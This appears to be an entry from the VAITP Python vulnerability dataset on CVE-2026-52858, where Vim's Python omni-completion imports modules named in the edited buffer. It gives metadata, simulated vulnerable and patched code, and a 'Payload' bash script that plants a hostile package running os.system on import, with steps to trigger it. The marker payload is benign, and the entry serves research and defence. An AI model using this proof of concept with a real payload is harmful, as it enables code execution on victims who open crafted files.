CVE-2026-52858
Vim's Python omni-completion leads to code execution via malicious imports.
- CVSS 7.3
- CWE-94
- Input Validation and Sanitization
- Local
Vim is an open source, command line text editor. Prior to version 9.2.0561, the Python omni-completion script in python3complete.vim for Vim with the +python3 interpreter enabled (and the legacy pythoncomplete.vim for builds with the +python interpreter) executes the import and from statements found in the current buffer through Python's import machinery. Because the buffer's working directory is on sys.path, opening a hostile .py file with a sibling Python package and invoking omni-completion runs that package's top-level code as the editing user. This issue has been patched in version 9.2.0561.
- CWE
- CWE-94
- CVSS base score
- 7.3
- Published
- 2026-06-11
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Algorithm
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- Vim
Solution
Upgrade Vim to version 9.2.0561 or later.
Vulnerable code sample
import sys
import os
import re
import importlib
def vulnerable_omni_complete_simulation(buffer_content, file_path):
"""
This function simulates the vulnerable logic in python3complete.vim.
It adds the buffer's directory to the path and then attempts to import
modules found within the buffer's text to gather completion suggestions.
"""
buffer_dir = os.path.dirname(file_path)
# The core of the vulnerability: The current file's directory is
# prepended to Python's path, giving it import priority.
if buffer_dir not in sys.path:
sys.path.insert(0, buffer_dir)
# Simplified logic to find 'import' statements in the buffer.
# The actual script's parsing is more complex.
import_pattern = re.compile(r"^\s*(?:from|import)\s+([a-zA-Z0-9_]+)")
for line in buffer_content.splitlines():
match = import_pattern.match(line)
if match:
module_name = match.group(1)
# The dangerous action: Importing the module to inspect it for
# completions. If a malicious __init__.py exists in a sibling
# directory, its code will be executed here.
try:
# In a real scenario, this would be followed by dir(module)
# to get attributes for completion.
importlib.import_module(module_name)
except ImportError:
# Ignore modules that can't be found.
pass
except Exception:
# The malicious code could raise an exception.
pass
# Clean up the path for subsequent operations in a real script.
if buffer_dir in sys.path:
sys.path.remove(buffer_dir)
# Example usage demonstrating the vulnerability.
# In a real attack, these would be two separate files on disk.
# 1. The content of the file the user is editing in Vim, e.g., /tmp/project/main.py
hostile_buffer_content = """
import os
import sys
import malicious_package # User types this and triggers omni-completion
print("Hello, world!")
"""
# 2. The path to the file being edited.
current_file = "/tmp/project/main.py"
# 3. A malicious package is placed next to the file being edited.
# Directory structure:
# /tmp/project/
# ├── main.py
# └── malicious_package/
# └── __init__.py <-- This file contains the malicious code.
# To simulate this without creating actual files, we can use a mock.
# In a real attack, the `importlib.import_module` call below would
# trigger the execution of the actual malicious __init__.py file.
# This part is for demonstration only to show what would happen.
# print("Simulating the creation of a malicious package...")
# malicious_code_path = "/tmp/project/malicious_package"
# os.makedirs(malicious_code_path, exist_ok=True)
# with open(os.path.join(malicious_code_path, "__init__.py"), "w") as f:
# f.write("import os\n")
# f.write("print('!!! MALICIOUS CODE EXECUTED !!!')\n")
# f.write("os.system('echo Malicious payload triggered > /tmp/pwned')\n")
# print(f"Running vulnerable completion logic on file: {current_file}")
# vulnerable_omni_complete_simulation(hostile_buffer_content, current_file)
# print("Simulation finished. Check for /tmp/pwned file.")Patched code sample
import ast
import sys
import vim
def _eval_import(module_name, imported_name, modules):
if not module_name:
return
try:
module = __import__(module_name)
except ImportError:
return
# Emulate 'from module_name import *'.
if imported_name == '*':
if hasattr(module, '__all__'):
for name in module.__all__:
modules[name] = getattr(module, name)
else:
for name in dir(module):
if not name.startswith('_'):
modules[name] = getattr(module, name)
return
# Emulate 'import a, b, c'.
if imported_name is None:
parts = module_name.split('.')
for i in range(len(parts) - 1):
parent_name = '.'.join(parts[0:i+1])
if parent_name in sys.modules:
modules[parts[i]] = sys.modules[parent_name]
modules[parts[-1]] = module
return
# Emulate 'from module_name import imported_name'.
if hasattr(module, imported_name):
modules[imported_name] = getattr(module, imported_name)
elif imported_name in sys.modules:
modules[imported_name] = sys.modules[imported_name]
def _get_modules(source, modname):
modules = {}
try:
# Use 'ast.parse' to only consider 'import' and 'from ... import'
# statements, to avoid executing arbitrary code.
tree = ast.parse(source)
for node in ast.walk(tree):
if isinstance(node, ast.Import):
for name in node.names:
_eval_import(name.name, None, modules)
elif isinstance(node, ast.ImportFrom):
# Relative imports are not supported yet.
if node.level > 0:
continue
for name in node.names:
_eval_import(node.module, name.name, modules)
except Exception:
return []
# Add builtins.
try:
if sys.version_info.major < 3:
import __builtin__
modules.update(__builtin__.__dict__)
else:
import builtins
modules.update(builtins.__dict__)
except ImportError:
pass
return modules.keys()Payload
#!/bin/bash
# This script sets up the directory and files for the exploit.
# To trigger the exploit:
# 1. Run this script: bash setup_exploit.sh
# 2. Open the created .py file in a vulnerable version of Vim: vim /tmp/vim_exploit/trigger.py
# 3. On the line `import hostile_package`, press Ctrl-X Ctrl-O to trigger omni-completion.
# 4. The payload in __init__.py will execute, creating /tmp/pwned.
mkdir -p /tmp/vim_exploit/hostile_package
# This is the malicious code that will run upon import.
cat << 'EOF' > /tmp/vim_exploit/hostile_package/__init__.py
import os
os.system("touch /tmp/pwned")
EOF
# This is the file the user opens.
cat << 'EOF' > /tmp/vim_exploit/trigger.py
import hostile_package
# Place cursor on the line above and press Ctrl-X Ctrl-O
EOF
Cite this entry
@misc{vaitp:cve202652858,
title = {{Vim's Python omni-completion leads to code execution via malicious imports.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-52858},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-52858/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
